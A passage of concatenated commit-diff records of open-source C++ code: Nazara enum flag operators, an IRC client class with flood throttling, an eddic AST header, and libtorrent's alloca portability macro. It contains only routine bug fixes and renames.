returns true if the flag states are identical.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::operator==(const Flags& rhs) const\n\t{\n\t\treturn m_value == rhs.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Check inequality with flag object\n\t* \\return True if both flags objects have different states.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* Compare two Flags object and returns true if the flag states are identical.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::operator!=(const Flags& rhs) const\n\t{\n\t\treturn !operator==(rhs);\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to combine with.\n\t*\n\t* This will enable flags which are enabled in parameter object and not in Flag object.\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator|=(const Flags& rhs)\n\t{\n\t\tm_value |= rhs.m_value;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* This will disable flags which are disabled in parameter object and enabled in Flag object (and vice-versa).\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator&=(const Flags& rhs)\n\t{\n\t\tm_value &= rhs.m_value;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to XOR with.\n\t*\n\t* This performs a XOR (Exclusive OR) on the flag object.\n\t* This will disable flags enabled in both Flags objects and enable those enabled in only one of the Flags objects.\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator^=(const Flags& rhs)\n\t{\n\t\tm_value ^= rhs.m_value;\n\t\tm_value &= ValueMask;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief Returns a bitfield corresponding to an enum value.\n\t* \\return Bitfield representation of the enum value\n\t*\n\t* \\param enumValue Enumeration value to get as a bitfield.\n\t*\n\t* Internally, every enum option is turned into a bit, this function allows to get a bitfield with only the bit of the enumeration value enabled.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr typename Flags<E>::BitField Flags<E>::GetFlagValue(E enumValue)\n\t{\n\t\treturn 1U << static_cast<BitField>(enumValue);\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return Compared flags\n\t*\n\t* This will returns a copy of the Flags object compared with the enum state.\n\t*\n\t* \\param lhs Enum to compare with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator&(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs & lhs;\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return Combined flags\n\t*\n\t* This will returns a copy of the Flags object combined with the enum state.\n\t*\n\t* \\param lhs Enum to combine with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator|(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs | lhs;\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return XORed flags\n\t*\n\t* This will returns a copy of the Flags object XORed with the enum state.\n\t*\n\t* \\param lhs Enum to XOR with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator^(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs ^ lhs;\n\t}\n\n\n\tnamespace FlagsOperators\n\t{\n\t\t\/*!\n\t\t* \\brief Override binary NOT operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with reversed bits.\n\t\t*\n\t\t* \\param lhs Enumeration value to reverse.\n\t\t*\n\t\t* Returns a Flags object with all state enabled except for the enum one.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator~(E lhs)\n\t\t{\n\t\t\treturn ~Flags<E>(lhs);\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary AND operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with compare enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to compare.\n\t\t* \\param rhs Second enumeration value to compare.\n\t\t*\n\t\t* Returns a Flags object with compared states from the two enumeration values.\n\t\t* In this case, only one flag will be enabled if both enumeration values are the same.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator&(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) & rhs;\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary OR operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with combined enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to combine.\n\t\t* \\param rhs Second enumeration value to combine.\n\t\t*\n\t\t* Returns a Flags object with combined states from the two enumeration values.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator|(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) | rhs;\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary XOR operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with XORed enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to compare.\n\t\t* \\param rhs Second enumeration value to compare.\n\t\t*\n\t\t* Returns a Flags object with XORed states from the two enumeration values.\n\t\t* In this case, two flags will be enabled if both the enumeration values are different.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator^(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) ^ rhs;\n\t\t}\n\t}\n}\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<|endoftext|>"} {"text":"<commit_before>#include \"client.h\"\n\nClient::Client(std::string&& id, std::string&& nick, std::string&& ident, std::string&& gecos, std::string&& pass, std::string&& socktype, const Protocol* mod)\n\t: User(std::forward<std::string> (id), std::forward<std::string> (nick), std::forward<std::string> (ident), std::forward<std::string> (gecos)),\n\tpassword(std::forward<std::string>(pass)), socket(mod->obtainSocket(socktype)), expectingReconnect(true), proto(mod), needRegisterDelay(false), penaltySeconds(0) {}\n\nClient::~Client() {\n\tif (socket->isConnected())\n\t\tsocket->closeConnection();\n\tif (receiveThread.joinable())\n\t\treceiveThread.join();\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n\tif (registerThread.joinable())\n\t\tregisterThread.join();\n}\n\nvoid Client::connect() {\n\tproto->connectSocket(socket);\n\treceiveThread = std::thread (&Client::receiveData, this);\n\tif (proto->floodThrottleInEffect()) {\n\t\tsendThread = std::thread (&Client::sendQueue, this);\n\t\tsecondsThread = std::thread (&Client::decrementSeconds, this);\n\t}\n\tregisterThread = std::thread (&Client::delayRegister, this);\n\tneedRegisterDelay = true;\n\tsocket->sendData(\"CAP LS\");\n}\n\nvoid Client::disconnect(const std::string& reason) {\n\tif (socket->isConnected()) {\n\t\tIRCMessage quitMsg (\"QUIT\");\n\t\tquitMsg.setParams(std::vector<std::string> { reason });\n\t\tsocket->sendData(quitMsg.rawLine());\n\t\tsocket->closeConnection();\n\t}\n\texpectingReconnect = false;\n}\n\nbool Client::checkConnection() const {\n\tif (socket)\n\t\treturn socket->isConnected();\n\treturn false;\n}\n\nbool Client::wantsToReconnect() const {\n\treturn expectingReconnect;\n}\n\nvoid Client::doReconnect() {\n\texpectingReconnect = true;\n\tif (receiveThread.joinable())\n\t\treceiveThread.join();\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n\tif (registerThread.joinable())\n\t\tregisterThread.join();\n\tconnect();\n}\n\nvoid Client::doRegister() {\n\tif (socket->isConnected()) {\n\t\tif (!password.empty()) {\n\t\t\tIRCMessage passMsg (\"PASS\");\n\t\t\tpassMsg.setParams(std::vector<std::string> { password });\n\t\t\tsocket->sendData(passMsg.rawLine());\n\t\t}\n\t\tIRCMessage nickMsg (\"NICK\");\n\t\tnickMsg.setParams(std::vector<std::string> { userNick });\n\t\tsocket->sendData(nickMsg.rawLine());\n\t\tIRCMessage userMsg (\"USER\");\n\t\tuserMsg.setParams(std::vector<std::string> { userIdent, \"localhost\", proto->servName(), userGecos });\n\t\tsocket->sendData(userMsg.rawLine());\n\t}\n\tneedRegisterDelay = false;\n}\n\nvoid Client::startFloodThrottle() {\n\tif (sendThread.joinable() && secondsThread.joinable())\n\t\treturn;\n\tif (!sendThread.joinable())\n\t\tsendThread = std::thread(&Client::sendQueue, this);\n\tif (!secondsThread.joinable())\n\t\tsecondsThread = std::thread(&Client::decrementSeconds, this);\n}\n\nvoid Client::endFloodThrottle() {\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n}\n\nstd::map<std::string, std::string> Client::modes() const {\n\treturn clientModes;\n}\n\nbool Client::modeSet(const std::string& mode) const {\n\treturn clientModes.find(mode) != clientModes.end();\n}\n\nstd::string Client::modeParam(const std::string& mode) const {\n\tauto modeIter = clientModes.find(mode);\n\tif (modeIter == clientModes.end())\n\t\treturn \"\";\n\treturn modeIter->second;\n}\n\nstd::list<std::string> Client::listModeList(const std::string& mode) const {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn std::list<std::string> ();\n\treturn listModeIter->second;\n}\n\nbool Client::itemInList(const std::string& mode, const std::string& param) const {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn false;\n\tauto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param);\n\treturn listIter != listModeIter->second.end();\n}\n\nvoid Client::setMode(const std::string& mode) {\n\tclientModes.insert(std::pair<std::string, std::string> (mode, \"\"));\n}\n\nvoid Client::setMode(const std::string& mode, const std::string& param) {\n\tclientModes[mode] = param; \/\/ If the mode is already set, we should change its param, but if not, it should be added\n}\n\nvoid Client::unsetMode(const std::string& mode) {\n\tclientModes.erase(mode);\n}\n\nvoid Client::setListMode(const std::string& mode, const std::string& param) {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end()) {\n\t\tclientListModes[mode].push_back(param);\n\t\treturn;\n\t}\n\tauto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param);\n\tif (listIter == listModeIter->second.end())\n\t\tlistModeIter->second.push_back(param);\n}\n\nvoid Client::unsetListMode(const std::string& mode, const std::string& param) {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn;\n\tlistModeIter->second.remove(param);\n\tif (listModeIter->second.empty())\n\t\tclientListModes.erase(listModeIter);\n}\n\nvoid Client::sendLine(const IRCMessage* line) {\n\tif (proto->floodThrottleInEffect()) {\n\t\tstd::unique_ptr<IRCMessage> msgCopy (new IRCMessage (line));\n\t\tlinesToSend.push(msgCopy);\n\t} else\n\t\tsocket->sendData(line->rawLine());\n}\n\nvoid Client::receiveData() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected()) {\n\t\tstd::string newMsg;\n\t\ttry {\n\t\t\tnewMsg = socket->receive();\n\t\t} catch (const SocketOperationFailed& ex) {\n\t\t\tlogger->log(LOG_DEFAULT, \"protocol-client\", \"Connection failed for client \" + userID + \" (\" + userNick + \"!\" + userIdent + \"@\" + userHost + \" on server \" + proto->servName() + \") during receive.\");\n\t\t\tbreak;\n\t\t}\n\t\tproto->processIncoming(userID, IRCMessage (newMsg));\n\t\tlogger->log(LOG_ALL, \"protocol-client-recv-\" + proto->servName(), newMsg);\n\t}\n}\n\nvoid Client::sendQueue() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected() && proto->floodThrottleInEffect()) {\n\t\tif (linesToSend.empty()) {\n\t\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(25));\n\t\t\tcontinue;\n\t\t}\n\t\tstd::unique_ptr<IRCMessage> sendingLine = linesToSend.front();\n\t\tlinesToSend.pop();\n\t\tunsigned int thisPenalty = 1;\n\t\tauto penaltyIter = commandPenalty.find(sendingLine->command());\n\t\tif (penaltyIter != commandPenalty.end())\n\t\t\tthisPenalty = penaltyIter->second;\n\t\twhile (penaltySeconds > 10)\n\t\t\tstd::this_thread::sleep_for(std::chrono::seconds(1));\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\tpenaltySeconds += thisPenalty;\n\t\tif (socket->isConnected()) { \/\/ to make sure the connection didn't get lost during the wait\n\t\t\tstd::string lineToSend (sendingLine->rawLine());\n\t\t\tsocket->sendData(lineToSend);\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-send-\" + proto->servName(), lineToSend);\n\t\t}\n\t\tstd::stringstream logMsg;\n\t\tlogMsg << \"The command \" << sendingLine->command() << \" was sent; the penalty has increased by \" << thisPenalty << \" to \" << penaltySeconds << \".\";\n\t\tlogger->log(LOG_ALL, \"protocol-client-penalty-\" + proto->servName(), logMsg.str());\n\t}\n\tif (socket->isConnected()) {\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\twhile (!linesToSend.empty()) {\n\t\t\tstd::string lineToSend (linesToSend.front()->rawLine());\n\t\t\tlinesToSend.pop();\n\t\t\tsocket->sendData(lineToSend);\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-send-\" + proto->servName(), lineToSend);\n\t\t}\n\t}\n}\n\nvoid Client::decrementSeconds() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected() && proto->floodThrottleInEffect()) {\n\t\tstd::this_thread::sleep_for(std::chrono::seconds(1));\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\tif (penaltySeconds > 0) {\n\t\t\tpenaltySeconds--;\n\t\t\tstd::ostringstream logMsg;\n\t\t\tlogMsg << \"Penalty second count reduced to \" << penaltySeconds;\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-penalty-\" + proto->servName(), logMsg.str());\n\t\t}\n\t}\n\tMutexLocker mutexLock (&sendMutex);\n\tpenaltySeconds = 0;\n\tlogger->log(LOG_DEBUG, \"protocol-client-penalty-\" + proto->servName(), \"Socket disconnected or flood throttling disabled; penalty reset to 0.\");\n}\n\nvoid Client::delayRegister() {\n\tstd::this_thread::sleep_for(std::chrono::seconds(5));\n\tif (!needRegisterDelay)\n\t\treturn;\n\tdoRegister();\n}<commit_msg>Fix constructor arguments<commit_after>#include \"client.h\"\n\nClient::Client(std::string&& id, std::string&& nick, std::string&& ident, std::string&& gecos, std::string&& pass, std::string&& socktype, const Protocol* mod)\n\t: User(std::forward<std::string> (id), std::forward<std::string> (nick), std::forward<std::string> (ident), std::forward<std::string> (gecos)),\n\tpassword(std::forward<std::string>(pass)), socket(mod->obtainSocket(socktype)), expectingReconnect(true), proto(mod), needRegisterDelay(false), penaltySeconds(0) {}\n\nClient::~Client() {\n\tif (socket->isConnected())\n\t\tsocket->closeConnection();\n\tif (receiveThread.joinable())\n\t\treceiveThread.join();\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n\tif (registerThread.joinable())\n\t\tregisterThread.join();\n}\n\nvoid Client::connect() {\n\tproto->connectSocket(socket);\n\treceiveThread = std::thread (&Client::receiveData, this);\n\tif (proto->floodThrottleInEffect()) {\n\t\tsendThread = std::thread (&Client::sendQueue, this);\n\t\tsecondsThread = std::thread (&Client::decrementSeconds, this);\n\t}\n\tregisterThread = std::thread (&Client::delayRegister, this);\n\tneedRegisterDelay = true;\n\tsocket->sendData(\"CAP LS\");\n}\n\nvoid Client::disconnect(const std::string& reason) {\n\tif (socket->isConnected()) {\n\t\tIRCMessage quitMsg (\"QUIT\");\n\t\tquitMsg.setParams(std::vector<std::string> { reason });\n\t\tsocket->sendData(quitMsg.rawLine());\n\t\tsocket->closeConnection();\n\t}\n\texpectingReconnect = false;\n}\n\nbool Client::checkConnection() const {\n\tif (socket)\n\t\treturn socket->isConnected();\n\treturn false;\n}\n\nbool Client::wantsToReconnect() const {\n\treturn expectingReconnect;\n}\n\nvoid Client::doReconnect() {\n\texpectingReconnect = true;\n\tif (receiveThread.joinable())\n\t\treceiveThread.join();\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n\tif (registerThread.joinable())\n\t\tregisterThread.join();\n\tconnect();\n}\n\nvoid Client::doRegister() {\n\tif (socket->isConnected()) {\n\t\tif (!password.empty()) {\n\t\t\tIRCMessage passMsg (\"PASS\");\n\t\t\tpassMsg.setParams(std::vector<std::string> { password });\n\t\t\tsocket->sendData(passMsg.rawLine());\n\t\t}\n\t\tIRCMessage nickMsg (\"NICK\");\n\t\tnickMsg.setParams(std::vector<std::string> { userNick });\n\t\tsocket->sendData(nickMsg.rawLine());\n\t\tIRCMessage userMsg (\"USER\");\n\t\tuserMsg.setParams(std::vector<std::string> { userIdent, \"localhost\", proto->servName(), userGecos });\n\t\tsocket->sendData(userMsg.rawLine());\n\t}\n\tneedRegisterDelay = false;\n}\n\nvoid Client::startFloodThrottle() {\n\tif (sendThread.joinable() && secondsThread.joinable())\n\t\treturn;\n\tif (!sendThread.joinable())\n\t\tsendThread = std::thread(&Client::sendQueue, this);\n\tif (!secondsThread.joinable())\n\t\tsecondsThread = std::thread(&Client::decrementSeconds, this);\n}\n\nvoid Client::endFloodThrottle() {\n\tif (sendThread.joinable())\n\t\tsendThread.join();\n\tif (secondsThread.joinable())\n\t\tsecondsThread.join();\n}\n\nstd::map<std::string, std::string> Client::modes() const {\n\treturn clientModes;\n}\n\nbool Client::modeSet(const std::string& mode) const {\n\treturn clientModes.find(mode) != clientModes.end();\n}\n\nstd::string Client::modeParam(const std::string& mode) const {\n\tauto modeIter = clientModes.find(mode);\n\tif (modeIter == clientModes.end())\n\t\treturn \"\";\n\treturn modeIter->second;\n}\n\nstd::list<std::string> Client::listModeList(const std::string& mode) const {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn std::list<std::string> ();\n\treturn listModeIter->second;\n}\n\nbool Client::itemInList(const std::string& mode, const std::string& param) const {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn false;\n\tauto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param);\n\treturn listIter != listModeIter->second.end();\n}\n\nvoid Client::setMode(const std::string& mode) {\n\tclientModes.insert(std::pair<std::string, std::string> (mode, \"\"));\n}\n\nvoid Client::setMode(const std::string& mode, const std::string& param) {\n\tclientModes[mode] = param; \/\/ If the mode is already set, we should change its param, but if not, it should be added\n}\n\nvoid Client::unsetMode(const std::string& mode) {\n\tclientModes.erase(mode);\n}\n\nvoid Client::setListMode(const std::string& mode, const std::string& param) {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end()) {\n\t\tclientListModes[mode].push_back(param);\n\t\treturn;\n\t}\n\tauto listIter = std::find(listModeIter->second.begin(), listModeIter->second.end(), param);\n\tif (listIter == listModeIter->second.end())\n\t\tlistModeIter->second.push_back(param);\n}\n\nvoid Client::unsetListMode(const std::string& mode, const std::string& param) {\n\tauto listModeIter = clientListModes.find(mode);\n\tif (listModeIter == clientListModes.end())\n\t\treturn;\n\tlistModeIter->second.remove(param);\n\tif (listModeIter->second.empty())\n\t\tclientListModes.erase(listModeIter);\n}\n\nvoid Client::sendLine(const IRCMessage* line) {\n\tif (proto->floodThrottleInEffect()) {\n\t\tstd::unique_ptr<IRCMessage> msgCopy (new IRCMessage (*line));\n\t\tlinesToSend.push(msgCopy);\n\t} else\n\t\tsocket->sendData(line->rawLine());\n}\n\nvoid Client::receiveData() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected()) {\n\t\tstd::string newMsg;\n\t\ttry {\n\t\t\tnewMsg = socket->receive();\n\t\t} catch (const SocketOperationFailed& ex) {\n\t\t\tlogger->log(LOG_DEFAULT, \"protocol-client\", \"Connection failed for client \" + userID + \" (\" + userNick + \"!\" + userIdent + \"@\" + userHost + \" on server \" + proto->servName() + \") during receive.\");\n\t\t\tbreak;\n\t\t}\n\t\tproto->processIncoming(userID, IRCMessage (newMsg));\n\t\tlogger->log(LOG_ALL, \"protocol-client-recv-\" + proto->servName(), newMsg);\n\t}\n}\n\nvoid Client::sendQueue() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected() && proto->floodThrottleInEffect()) {\n\t\tif (linesToSend.empty()) {\n\t\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(25));\n\t\t\tcontinue;\n\t\t}\n\t\tstd::unique_ptr<IRCMessage> sendingLine = linesToSend.front();\n\t\tlinesToSend.pop();\n\t\tunsigned int thisPenalty = 1;\n\t\tauto penaltyIter = commandPenalty.find(sendingLine->command());\n\t\tif (penaltyIter != commandPenalty.end())\n\t\t\tthisPenalty = penaltyIter->second;\n\t\twhile (penaltySeconds > 10)\n\t\t\tstd::this_thread::sleep_for(std::chrono::seconds(1));\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\tpenaltySeconds += thisPenalty;\n\t\tif (socket->isConnected()) { \/\/ to make sure the connection didn't get lost during the wait\n\t\t\tstd::string lineToSend (sendingLine->rawLine());\n\t\t\tsocket->sendData(lineToSend);\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-send-\" + proto->servName(), lineToSend);\n\t\t}\n\t\tstd::stringstream logMsg;\n\t\tlogMsg << \"The command \" << sendingLine->command() << \" was sent; the penalty has increased by \" << thisPenalty << \" to \" << penaltySeconds << \".\";\n\t\tlogger->log(LOG_ALL, \"protocol-client-penalty-\" + proto->servName(), logMsg.str());\n\t}\n\tif (socket->isConnected()) {\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\twhile (!linesToSend.empty()) {\n\t\t\tstd::string lineToSend (linesToSend.front()->rawLine());\n\t\t\tlinesToSend.pop();\n\t\t\tsocket->sendData(lineToSend);\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-send-\" + proto->servName(), lineToSend);\n\t\t}\n\t}\n}\n\nvoid Client::decrementSeconds() {\n\tLogManager* logger = LogManager::getHandle();\n\twhile (socket->isConnected() && proto->floodThrottleInEffect()) {\n\t\tstd::this_thread::sleep_for(std::chrono::seconds(1));\n\t\tMutexLocker mutexLock (&sendMutex);\n\t\tif (penaltySeconds > 0) {\n\t\t\tpenaltySeconds--;\n\t\t\tstd::ostringstream logMsg;\n\t\t\tlogMsg << \"Penalty second count reduced to \" << penaltySeconds;\n\t\t\tlogger->log(LOG_ALL, \"protocol-client-penalty-\" + proto->servName(), logMsg.str());\n\t\t}\n\t}\n\tMutexLocker mutexLock (&sendMutex);\n\tpenaltySeconds = 0;\n\tlogger->log(LOG_DEBUG, \"protocol-client-penalty-\" + proto->servName(), \"Socket disconnected or flood throttling disabled; penalty reset to 0.\");\n}\n\nvoid Client::delayRegister() {\n\tstd::this_thread::sleep_for(std::chrono::seconds(5));\n\tif (!needRegisterDelay)\n\t\treturn;\n\tdoRegister();\n}<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef AST_VARIABLE_H\n#define AST_VARIABLE_H\n\n#include <memory>\n\n#include <boost\/intrusive_ptr.hpp>\n\n#include \"ast\/Deferred.hpp\"\n\nnamespace eddic {\n\nclass Context;\nclass Variable;\n\nnamespace ast {\n\nstruct ASTVariableValue {\n std::shared_ptr<Context> context;\n\n std::string variableName;\n std::shared_ptr<Variable> var;\n\n mutable long references;\n ASTVariableValue() : references(0) {}\n};\n\ntypedef Deferred<ASTVariableValue, boost::intrusive_ptr<ASTVariableValue>> VariableValue;\n\n} \/\/end of ast\n\n} \/\/end of eddic\n\n\/\/Adapt the struct for the AST\nBOOST_FUSION_ADAPT_STRUCT(\n eddic::ast::VariableValue, \n (std::string, Content->variableName)\n)\n\n#endif\n<commit_msg>Rename the define guard variable<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef AST_VARIABLE_VALUE_H\n#define AST_VARIABLE_VALUE_H\n\n#include <memory>\n\n#include <boost\/intrusive_ptr.hpp>\n\n#include \"ast\/Deferred.hpp\"\n\nnamespace eddic {\n\nclass Context;\nclass Variable;\n\nnamespace ast {\n\nstruct ASTVariableValue {\n std::shared_ptr<Context> context;\n\n std::string variableName;\n std::shared_ptr<Variable> var;\n\n mutable long references;\n ASTVariableValue() : references(0) {}\n};\n\ntypedef Deferred<ASTVariableValue, boost::intrusive_ptr<ASTVariableValue>> VariableValue;\n\n} \/\/end of ast\n\n} \/\/end of eddic\n\n\/\/Adapt the struct for the AST\nBOOST_FUSION_ADAPT_STRUCT(\n eddic::ast::VariableValue, \n (std::string, Content->variableName)\n)\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#ifdef TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)))\n\n#else\n\n#include <alloca.h>\n\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#endif\n\n#endif\n\n\n<commit_msg>another FreeBSD fix<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#if defined TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)))\n\n#elif defined TORRENT_BSD\n\n#include <stdlib.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#else\n\n#include <alloca.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#endif\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2003 - 2005, Arvid Norberg, Daniel 